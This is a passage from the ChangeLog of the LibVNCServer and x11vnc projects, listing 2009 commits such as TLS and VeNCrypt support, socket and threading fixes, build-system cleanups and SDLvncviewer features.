session. Xdummy improvements and root no longer required. 2009-12-20 Vic Lee * libvncclient/rfbproto.c: Fix version checking (>=3.8) for rfbVncAuthOK confirmation when no password required It seems that vino does not send AuthOK when there is no password with anonymous TLS, and it seems that vino is the only <3.8 VNC server that handles anonymous TLS at all, so let's not wait for the packet that will never come. Signed-off-by: Vic Lee Signed-off-by: Johannes Schindelin 2009-12-21 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/unixpw.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: -DENC_HAVE_OPENSSL=0 to disable enc.h but still have ssl. Tweak ps command in find_display. Try to handle AIX su. Ignore an initial newline at login: for -unixpw. 2009-12-18 runge * x11vnc/ChangeLog: ChangeLog typo 2009-12-18 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/unixpw.c, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: Add tag=... to unixpw opts to set FD_TAG. Prefer Xvfb over Xdummy. Reduce wait time for https. Add 'Login succeeded' output to unixpw panel. 2009-12-18 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, x11vnc/help.c, x11vnc/remote.c, x11vnc/unixpw.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: fix keycode and other remote control actions under DIRECT: with an extra XFlush and other safety measures. fflush(stderr) much in su_verify. Make the -unixpw env. vars UNIXPW_DISABLE_SSL and UNIXPW_DISABLE_LOCALHOST work correctly. Make -loopbg actually imply -bg. 2009-12-15 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/inet.c, x11vnc/misc/Makefile.am, x11vnc/misc/connect_switch, x11vnc/misc/ultravnc_repeater.pl, x11vnc/options.c, x11vnc/options.h, x11vnc/pointer.c, x11vnc/remote.c, x11vnc/screen.c, x11vnc/ssltools.h, x11vnc/unixpw.c, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xevents.c: X props names via env var. fakebuttonevent action, connect_switch and ultravnc_repeater.pl scripts, find_display try FD_XDM on failure, -quiet and -storepasswd changes, better port 113 testing. 2009-12-07 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, x11vnc/help.c, x11vnc/remote.c, x11vnc/screen.c, x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: X11VNC_EXTRA_HTTPS_PARAMS, X11VNC_HTTP_LISTEN_LOCALHOST, X11VNC_REOPEN_SLEEP_MAX, -findauth/-auth guess FD_XDM=1 for root, work around xhost SI:localuser:root. 2009-12-05 runge * classes/ssl/ss_vncviewer, classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, x11vnc/ChangeLog, x11vnc/README, x11vnc/appshare.c, x11vnc/gui.c, x11vnc/unixpw.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: Update java and scripts in classes/ssl. x11vnc: declare crypt() on all platforms. more wishes. 2009-12-02 runge * x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README, x11vnc/appshare.c, x11vnc/connections.c, x11vnc/cursor.c, x11vnc/help.c, x11vnc/keyboard.c, x11vnc/options.c, x11vnc/options.h, x11vnc/pm.c, x11vnc/pointer.c, x11vnc/remote.c, x11vnc/screen.c, x11vnc/sslhelper.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/user.c, x11vnc/userinput.c, x11vnc/util.c, x11vnc/util.h, x11vnc/win_utils.c, x11vnc/win_utils.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xinerama.c, x11vnc/xrandr.c: x11vnc: -appshare mode for sharing an application windows instead of the entire desktop. map port + 5500 in reverse connect. Add id_cmd remote control functions for id (and other) windows. Allow zero port in SSL reverse connections. Adjust delays between multiple reverse connections; X11VNC_REVERSE_SLEEP_MAX env var. Add some missing mutex locks; add INPUT_LOCK and threads_drop_input. More safety in -threads mode for new framebuffer change. Fix some stderr leaking in -inetd mode. 2009-12-01 runge * libvncserver/cursor.c, libvncserver/sockets.c, libvncserver/translate.c: Add locks of updateMutex in rfbRedrawAfterHideCursor() and rfbSetClientColourMap(). Up listen limit from 5 to 32. 2009-11-18 runge * x11vnc/misc/enhanced_tightvnc_viewer/README, x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl, x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu ll.patch: ssvnc/enhanced_tightvnc_viewer update. 2009-11-18 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/cursor.c, x11vnc/cursor.h, x11vnc/enc.h, x11vnc/help.c, x11vnc/remote.c, x11vnc/screen.c, x11vnc/selection.c, x11vnc/solid.c, x11vnc/ssltools.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xevents.h: x11vnc: -findauth, -auth guess, & etc. 2009-11-11 Christian Beier * libvncclient/listen.c, rfb/rfbclient.h: libvncclient: better return value for non-forking listen. The return value now better reflects what has happened: 1 on success (incoming connection on listen socket, we accepted it successfully), -1 on error, 0 on timeout. Also change the select calls to not check _all_ possible file descriptors. Signed-off-by: Christian Beier Signed-off-by: Johannes Schindelin 2009-11-05 Christian Beier * libvncclient/listen.c, libvncclient/rfbproto.c, libvncclient/vncviewer.c, libvncserver/rfbserver.c: Fix checks for socket values, 0 is a legal value. To make this work, we also have to initialize sockets to a default value of -1. Also close a client listen socket if it's open. Signed-off-by: Christian Beier Signed-off-by: Johannes Schindelin 2009-10-31 Christian Beier * libvncclient/vncviewer.c: libvncclient: include winsock2.h in vncviewer.c. fixes warning about closesocket being implicitly declared. Signed-off-by: Christian Beier Signed-off-by: Johannes Schindelin 2009-11-05 Vic Lee * configure.ac: Change GnuTLS minimum requirement to 2.4.0 Signed-off-by: Vic Lee Signed-off-by: Johannes Schindelin 2009-11-04 Vic Lee * client_examples/ppmtest.c, examples/example.c, libvncclient/sockets.c, libvncclient/zrle.c, libvncserver/cursor.c, libvncserver/tightvnc-filetransfer/rfbtightserver.c, vncterm/VNConsole.c: Fix various compilation warnings Signed-off-by: Vic Lee Signed-off-by: Johannes Schindelin 2009-10-07 Vic Lee * libvncclient/rfbproto.c, libvncserver/vncauth.c, rfb/rfbclient.h, rfb/rfbproto.h: Add MSLogon security type Signed-off-by: Vic Lee Signed-off-by: Johannes Schindelin 2009-10-31 Johannes Schindelin * AUTHORS: Add Alexander to the authors Signed-off-by: Johannes Schindelin 2009-10-31 Christian Beier * client_examples/SDLvncviewer.c: SDLvncviewer: don't call clean up the same client twice. If rfbInitConnection fails, it cleans up the client, so protect against doing it ourselves again. Signed-off-by: Christian Beier Signed-off-by: Johannes Schindelin 2009-10-30 Christian Beier * client_examples/SDLvncviewer.c: SDLvncviewer: add SIGINT handler to be able to actually stop program. Signed-off-by: Christian Beier Signed-off-by: Johannes Schindelin 2009-10-26 Christian Beier * client_examples/SDLvncviewer.c: SDLvncviewer: use -listennofork when -listen specified. As -listen mode isn't really working under UNIX and not at all under windows, use -listennofork and an outer listen loop instead. Signed-off-by: Christian Beier Signed-off-by: Johannes Schindelin 2009-10-26 Christian Beier * libvncclient/listen.c, libvncclient/vncviewer.c, rfb/rfbclient.h: libvncclient: add a non-forking listen function. Forking the whole process from deep within a library call does not really work at all with apps that use multiple threads, i.e. every reasonably modern GUI app. So, provide a non-forking listen function so that the caller can decide if to fork, start a thread, etc. This implementation adds a timeout parameter to be able to call the listen function multiple times so that it's possible to do sth. else in between, e.g. abort listening. Signed-off-by: Christian Beier Signed-off-by: Johannes Schindelin 2009-10-21 Christian Beier * client_examples/SDLvncviewer.c: SDLvncviewer: make listen mode work _somewhat_. set the port to listen on and really ensure that the window of the fork()ed instance is closed. works somewhat: it's now actually possible to listen for an incoming connection and to close it again, but the second connection attempt fails with 'XIO: fatal IO error 11 (Resource temporarily unavailable)'. this could relate to the fact that SDL uses threads internally and we're fork()ing here... Signed-off-by: Christian Beier Signed-off-by: Johannes Schindelin 2009-10-30 Christian Beier * libvncclient/sockets.c: libvncclient: make listenAtTCPPort() work under windows. Actually, initSockets() has to be called everywhere we possibly use sockets the first time. Also fix return value of initSockets(). Signed-off-by: Christian Beier Signed-off-by: Johannes Schindelin 2009-10-30 Alexander Dorokhine * libvncclient/rfbproto.c, libvncclient/vncviewer.c, rfb/rfbclient.h: libvncclient: Add FinishedFrameBufferUpdate callback When working on a program which searches the display for some image, one does not want to search again without getting an FB update. Add a callback to make this possible. 2009-10-30 Alexander Dorokhine * libvncclient/sockets.c: Fix hostname resolution problems under Windows On Windows, the WSA system needs to be initialized to be able to look up host names. This patch also changes *addr = 0 to use the constant INADDR_LOOPBACK instead, which seems to be required on Windows. 2009-10-17 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, x11vnc/help.c, x11vnc/solid.c, x11vnc/sslhelper.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: Workaround for inane X_ShmAttach incompatibility in Xorg, -solid support in xfce, showrfbauth option. 2009-10-08 runge * x11vnc/misc/enhanced_tightvnc_viewer/README, x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1, x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu ll.patch: Synchronize ssvnc source, etc. Nearly the 1.0.24 release... 2009-10-08 runge * classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, x11vnc/connections.h, x11vnc/enc.h, x11vnc/help.c, x11vnc/keyboard.c, x11vnc/options.c, x11vnc/options.h, x11vnc/params.h, x11vnc/remote.c, x11vnc/remote.h, x11vnc/screen.c, x11vnc/selection.c, x11vnc/selection.h, x11vnc/solid.c, x11vnc/solid.h, x11vnc/sslcmds.c, x11vnc/sslcmds.h, x11vnc/sslhelper.c, x11vnc/sslhelper.h, x11vnc/ssltools.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/user.c, x11vnc/util.c, x11vnc/util.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xdamage.h, x11vnc/xevents.c, x11vnc/xevents.h, x11vnc/xwrappers.c: Huge number of changes, see x11vnc/ChangeLog 2009-10-07 runge * libvncclient/rfbproto.c: Some broken build environments treat fprintf(fh, buf) as a fatal error... 2009-10-07 runge * libvncserver/main.c: Some broken build environments treat fprintf(fh, buf) as a fatal error... 2009-10-02 Vic Lee * libvncclient/rfbproto.c, libvncclient/tls.c, rfb/rfbclient.h, rfb/rfbproto.h: Add VeNCrypt support in libvncclient Signed-off-by: Vic Lee 2009-10-02 Christian Beier * configure.ac, libvncclient/rfbproto.c, libvncclient/sockets.c, rfb/rfb.h, vncterm/Makefile.am: mingw32 crosscompile fixes. SOCKET is redefined in winsock2.h so #undef it where winsock2.h is included. The changes in rfbproto.c circumvent crosscompiler errors like 'S_IFMT' undeclared ...', the Makefile.am changes avoid building linux specific stuff for a win32 host target. Also added configure option to specify sdl-config. Signed-off-by: Christian Beier Signed-off-by: Johannes Schindelin 2009-10-02 Johannes Schindelin * configure.ac: Fallback to --without-client-tls if GNUTLS could not be found Signed-off-by: Johannes Schindelin 2009-10-01 Vic Lee * configure.ac, libvncclient/Makefile.am, libvncclient/rfbproto.c, libvncclient/sockets.c, libvncclient/tls.c, libvncclient/tls.h, libvncclient/vncviewer.c, rfb/rfbclient.h, rfb/rfbproto.h: Add anonymous TLS support in libvncclient Signed-off-by: Vic Lee 2009-10-02 Johannes Schindelin * test/encodingstest.c: encodingstest: fix multi-threading issue Signed-off-by: Johannes Schindelin 2009-10-02 Johannes Schindelin * test/encodingstest.c: encodingstest: fix whitespace Signed-off-by: Johannes Schindelin 2009-10-02 Johannes Schindelin * AUTHORS: Add Christian Beier to the AUTHORS Signed-off-by: Johannes Schindelin 2009-10-02 Christian Beier * libvncclient/rfbproto.c: Fix IsUnixSocket() This is a pure functionality fix: according to its manpage, stat() returns 0 on success. Checking for a return value of zero fixes incorrect results of IsUnixSocket(). Signed-off-by: Johannes Schindelin 2009-09-27 Johannes Schindelin * AUTHORS: Add Vic Lee to the author list Signed-off-by: Johannes Schindelin 2009-09-14 Vic Lee * libvncclient/rfbproto.c: Fix bug for logging unsupported security types Signed-off-by: Vic Lee 2009-09-14 Vic Lee * libvncclient/rfbproto.c: Fix bug for VNC Server version 4 Signed-off-by: Vic Lee 2009-08-10 runge * x11vnc/README, x11vnc/connections.c, x11vnc/enc.h, x11vnc/help.c, x11vnc/pointer.c, x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: Improvements to -unixpw_cmd and -unixpw_nis. Experimental X11VNC_WATCH_DX_DY=1 for buggy theme menus, see: http://ubuntuforums.org/showthread.php?t=1223490 2009-07-11 runge * prepare_x11vnc_dist.sh, x11vnc/README, x11vnc/help.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: Setup for x11vnc version 0.9.9 2009-06-19 runge * classes/ssl/README, classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, x11vnc/README: Add proxyHost and proxyPort java applet params. 2009-06-18 runge * classes/ssl/ss_vncviewer, classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, x11vnc/ChangeLog, x11vnc/README, x11vnc/misc/enhanced_tightvnc_viewer/README, x11vnc/misc/enhanced_tightvnc_viewer/Windows/README.txt, x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, x11vnc/misc/enhanced_tightvnc_viewer/build.unix, x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu ll.patch: classes/ssl: java viewer now handles auth-basic proxy logins. misc/enhanced_tightvnc_viewer: update ssvnc. 2009-06-16 Johannes Schindelin * libvncclient/vncviewer.c: Fix two issues in rfbGetClient() There was an unnecessary assignment, and an assignment of a string that was to be free()ed later, so it has to be strdup()ed. Both issues spotted by Roman Held. Signed-off-by: Johannes Schindelin 2009-06-14 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, x11vnc/help.c, x11vnc/screen.c, x11vnc/sslhelper.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: X11VNC_REFLECT_PASSWORD env. var., warning about compiz, improve single-port. 2009-05-22 Stefan Becker * libvncclient/vncviewer.c: Add close() to rfbClientCleanup() Signed-off-by: Johannes Schindelin 2009-05-21 runge * x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, x11vnc/connections.h, x11vnc/cursor.c, x11vnc/help.c, x11vnc/keyboard.c, x11vnc/misc/turbovnc/convert, x11vnc/options.c, x11vnc/options.h, x11vnc/rates.c, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/sslhelper.c, x11vnc/unixpw.c, x11vnc/user.c, x11vnc/userinput.c, x11vnc/util.c, x11vnc/util.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xrecord.c, x11vnc/xwrappers.c: Thread safety. Fix -clip -in -rawfb. Try to avoid Xorg stuck key bug. 2009-05-21 runge * ChangeLog, configure.ac, libvncserver/main.c, libvncserver/rfbserver.c, libvncserver/tight.c, libvncserver/tightvnc-filetransfer/rfbtightserver.c, libvncserver/zlib.c, libvncserver/zrle.c, libvncserver/zrleencodetemplate.c, rfb/rfb.h: Thread safety for zrle, zlib, tight. Proposed tight security type fix for debian bug 517422. 2009-05-20 llyzs * rfb/rfbclient.h: Export the functions SupportsClient2Server and SupportsServer2Client These are useful functions for VNC clients, so let's export them for everybody to use. Signed-off-by: Johannes Schindelin 2009-05-12 Johannes Schindelin * AUTHORS: Add Ben to the authors Signed-off-by: Johannes Schindelin 2009-05-12 Johannes Schindelin * autogen.sh: Make autogen.sh executable Signed-off-by: Johannes Schindelin 2009-05-12 Ben Klopfenstein * libvncclient/rfbproto.c, libvncclient/sockets.c, rfb/rfbclient.h: libvncclient: Unix sockets support by Ben Klopfenstein Signed-off-by: Johannes Schindelin 2009-03-31 runge * x11vnc/README, x11vnc/connections.c, x11vnc/connections.h, x11vnc/screen.c, x11vnc/x11vnc.1, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: rebuild for x11vnc dev 0.9.8 2009-03-31 runge * prepare_x11vnc_dist.sh: x11vnc 0.9.8 dev 2009-03-30 Johannes Schindelin * success.html: Add LCD4Linux to the success stories Signed-off-by: Johannes Schindelin 2009-03-16 runge * x11vnc/README, x11vnc/enc.h, x11vnc/help.c, x11vnc/keyboard.c, x11vnc/util.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: Add some -remap tricks. Limit rfbCFD message count. 2009-03-14 runge * x11vnc/8to24.c, x11vnc/8to24.h, x11vnc/README, x11vnc/allowed_input_t.h, x11vnc/avahi.c, x11vnc/avahi.h, x11vnc/blackout_t.h, x11vnc/cleanup.c, x11vnc/cleanup.h, x11vnc/connections.c, x11vnc/connections.h, x11vnc/cursor.c, x11vnc/cursor.h, x11vnc/enc.h, x11vnc/enums.h, x11vnc/gui.c, x11vnc/gui.h, x11vnc/help.c, x11vnc/help.h, x11vnc/inet.c, x11vnc/inet.h, x11vnc/keyboard.c, x11vnc/keyboard.h, x11vnc/linuxfb.c, x11vnc/linuxfb.h, x11vnc/macosx.c, x11vnc/macosx.h, x11vnc/macosxCG.c, x11vnc/macosxCG.h, x11vnc/macosxCGP.c, x11vnc/macosxCGP.h, x11vnc/macosxCGS.c, x11vnc/macosxCGS.h, x11vnc/misc/LICENSE, x11vnc/misc/turbovnc/Makefile.am, x11vnc/misc/turbovnc/README, x11vnc/misc/turbovnc/apply_turbovnc, x11vnc/misc/turbovnc/convert, x11vnc/misc/turbovnc/convert_rfbserver, x11vnc/misc/turbovnc/undo_turbovnc, x11vnc/options.c, x11vnc/options.h, x11vnc/params.h, x11vnc/pm.c, x11vnc/pm.h, x11vnc/pointer.c, x11vnc/pointer.h, x11vnc/rates.c, x11vnc/rates.h, x11vnc/remote.c, x11vnc/remote.h, x11vnc/scan.c, x11vnc/scan.h, x11vnc/screen.c, x11vnc/screen.h, x11vnc/scrollevent_t.h, x11vnc/selection.c, x11vnc/selection.h, x11vnc/solid.c, x11vnc/solid.h, x11vnc/sslcmds.c, x11vnc/sslcmds.h, x11vnc/sslhelper.c, x11vnc/sslhelper.h, x11vnc/ssltools.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/uinput.c, x11vnc/uinput.h, x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/user.c, x11vnc/user.h, x11vnc/userinput.c, x11vnc/userinput.h, x11vnc/util.c, x11vnc/util.h, x11vnc/v4l.c, x11vnc/v4l.h, x11vnc/win_utils.c, x11vnc/win_utils.h, x11vnc/winattr_t.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xdamage.h, x11vnc/xevents.c, x11vnc/xevents.h, x11vnc/xinerama.c, x11vnc/xinerama.h, x11vnc/xkb_bell.c, x11vnc/xkb_bell.h, x11vnc/xrandr.c, x11vnc/xrandr.h, x11vnc/xrecord.c, x11vnc/xrecord.h, x11vnc/xwrappers.c, x11vnc/xwrappers.h: Insert x11vnc copyright and license notices. 2009-03-14 runge * x11vnc/README: Test git commit setting username & etc. 2009-03-14 Karl J. Runge * x11vnc/README, x11vnc/help.c, x11vnc/ssltools.h, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: Tweak settings and docs for create_display. Add FD_EXTRA finishing cmd. 2009-03-13 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/screen.c, x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: Fix off-screen bug for -ncache_cr copyrect. 2009-03-12 dscho * ChangeLog, client_examples/SDLvncviewer.c: Teach SDLvncviewer about scroll wheel events Signed-off-by: Johannes Schindelin 2009-03-12 dscho * client_examples/SDLvncviewer.c: SDLvncviewer: fix passing a wrong pointer type Signed-off-by: Johannes Schindelin 2009-03-08 dscho * ChangeLog, client_examples/Makefile.am, client_examples/SDLvncviewer.c, client_examples/scrap.c, client_examples/scrap.h: Clipboard support for SDLvncviewer The clipboard support has only been tested on Linux so far. Signed-off-by: Johannes Schindelin 2009-03-07 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, x11vnc/help.c, x11vnc/misc/turbovnc/Makefile.am, x11vnc/misc/turbovnc/README, x11vnc/misc/turbovnc/apply_turbovnc, x11vnc/misc/turbovnc/convert, x11vnc/misc/turbovnc/convert_rfbserver, x11vnc/misc/turbovnc/undo_turbovnc, x11vnc/scan.c, x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/user.c, x11vnc/user.h, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: Allow range for X11VNC_SKIP_DISPLAY, document grab Xserver issue. Add progress_client() to proceed more quickly thru handshake. Improvements to turbovnc hack. 2009-03-07 dscho * ChangeLog, TODO, client_examples/SDLvncviewer.c: SDLvncviewer: upon focus loss, force releasing the Alt keys When switching windows using the Alt+Tab shortcut, SDLvncviewer would get the "down" event, but not the "up" event. This patch provides a workaround. Signed-off-by: Johannes Schindelin 2009-03-07 dscho * client_examples/SDLvncviewer.c: SDLvncviewer: refactor event handling Instead of having deep indent levels, put the code to handle events into its own function. That also helps readability. Signed-off-by: Johannes Schindelin 2009-03-07 dscho * TODO: Update SDLvncviewer TODOs Signed-off-by: Johannes Schindelin 2009-03-07 dscho * ChangeLog, client_examples/SDLvncviewer.c: Teach SDLvncviewer to be resizable Using "SDLvncviewer -resizable", you make the window resizable. This means that you can shrink the window (e.g. when you are trying to access an x11vnc from your little netbook), or you can enlarge it. Signed-off-by: Johannes Schindelin 2009-03-06 dscho * ChangeLog, TODO, client_examples/SDLvncviewer.c: SDLvncviewer: enable key repeat Signed-off-by: Johannes Schindelin 2009-02-28 runge * configure.ac, x11vnc/ChangeLog, x11vnc/README, x11vnc/misc/Makefile.am, x11vnc/misc/turbovnc/Makefile.am, x11vnc/misc/turbovnc/README, x11vnc/misc/turbovnc/apply_turbovnc, x11vnc/misc/turbovnc/convert, x11vnc/misc/turbovnc/tight.c, x11vnc/misc/turbovnc/turbojpeg.h, x11vnc/misc/turbovnc/undo_turbovnc: x11vnc: add kludge to experiment with turbovnc. 2009-02-26 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/remote.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: fix some -QD cases for use in tkx11vnc. 2009-02-22 runge * x11vnc/README, x11vnc/avahi.c, x11vnc/enc.h, x11vnc/selection.c: fix some compiler warnings. 2009-02-22 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: add -noskip_lockkeys option for future use. 2009-02-04 runge * classes/ssl/README, classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/remote.c, x11vnc/screen.c, x11vnc/selection.c, x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/unixpw.c, x11vnc/user.c, x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xwrappers.c: x11vnc: Add "sendbell" remote cmd. Fix copyrect updates under -reflect. Workaround that checks valid window of selection requestor. Wait on some ssl helper pids earlier. Workaround XAUTHLOCALHOSTNAME for some new usage modes. Set fake fb to requested bpp with correct masks. -padgeom once:... mode. Set LIBXCB_ALLOW_SLOPPY_LOCK by default. rfbRandomBytes earlier. classes/ssl: Update jars. Add "TOP_" dropdown customization to ultravnc java viewer applet FTP panel. 2009-02-03 dscho * test/Makefile.am: test/Makefile: use check_PROGRAMS Rather than use noinst_PROGRAMS, check_PROGRAMS will define programs that are only compiled when someone actually runs `make check`. Signed-off-by: Mike Frysinger Signed-off-by: Johannes Schindelin 2009-02-03 dscho * ChangeLog: Record Mike's automake cleanups Signed-off-by: Johannes Schindelin 2009-02-03 dscho * Makefile.am, client_examples/Makefile.am, configure.ac, contrib/Makefile.am, examples/Makefile.am, libvncclient/Makefile.am, libvncserver/Makefile.am, test/Makefile.am, vncterm/Makefile.am, x11vnc/Makefile.am: clean up build flags The flag handling (both compiler options and include paths) are a mess at the moment. There is no point in forcing "-O2 -g" when these are already the defaults, and if someone changes the defaults, chances are good they don't want you clobbering their choices. The -Wall flag should be handled in configure and thrown into CFLAGS once rather than every Makefile.am. Plus, this way we can control which compilers the flag actually gets used with. Finally, the INCLUDES variable is for -I paths, not AM_CFLAGS. Nor should it contain -I. as this is already in the default includes setup. Signed-off-by: Mike Frysinger Signed-off-by: Johannes Schindelin 2009-02-03 dscho * configure.ac: configure: use _cv_ in cache var name Newer autoconf fails if _cv_ is not in the cache var name. Signed-off-by: Mike Frysinger Signed-off-by: Johannes Schindelin 2009-02-03 dscho * configure.ac: configure: use AM_PROG_CC_C_O Newer automakes error out due to per-file CFLAGS being used unless the macro AM_PROG_CC_C_O is set in configure.ac. [jes: The macro AM_PROG_CC_C_O has been around since 1999, so it should be safe.] Signed-off-by: Mike Frysinger Signed-off-by: Johannes Schindelin 2009-02-03 dscho * autogen.sh: autogen.sh: run with set -e If any autotool command fails, we want to abort, not keep running. Otherwise, errors in say a Makefile.am will be missed as the automake failure gets ignored and then lost in the noise. Signed-off-by: Mike Frysinger Signed-off-by: Johannes Schindelin 2009-01-12 runge * x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1, x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu ll.patch: SSVNC 1.0.22 release (+ a little bit more). crl lists, ssh pid finding improvements, and more. 2009-01-12 runge * CMakeLists.txt, ChangeLog, configure.ac: configure.ac, CMakeLists.txt: set LibVNCServer version to 0.9.7 2009-01-12 runge * classes/ssl/README, classes/ssl/ss_vncviewer, classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: classes/ssl: Add configurable Ultra java applet Filexfer Drives drop down (e.g. ftpDropDown=Home.Desktop.bin). Document all applet parameters in classes/ssl/README. 2009-01-11 runge * ChangeLog: Forgot ChangeLog 2009-01-11 runge * prepare_x11vnc_dist.sh: prepare_x11vnc_dist.sh: fix SUBDIRS and DIST_SUBDRIS when using --with-system-libvncserver 2009-01-10 runge * x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README, x11vnc/screen.c, x11vnc/selection.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c, x11vnc/xrecord.c: x11vnc: fix failure of -8to24 on default depth 24 due to nonstandard indexed color support changes. Fix small window for failure after XSendEvent selection call; add env var. X11VNC_SENDEVENT_SYNC=1 to take even more care. 2009-01-04 runge * x11vnc/README, x11vnc/avahi.c, x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/connections.h, x11vnc/enc.h, x11vnc/gui.c, x11vnc/scan.c, x11vnc/screen.c, 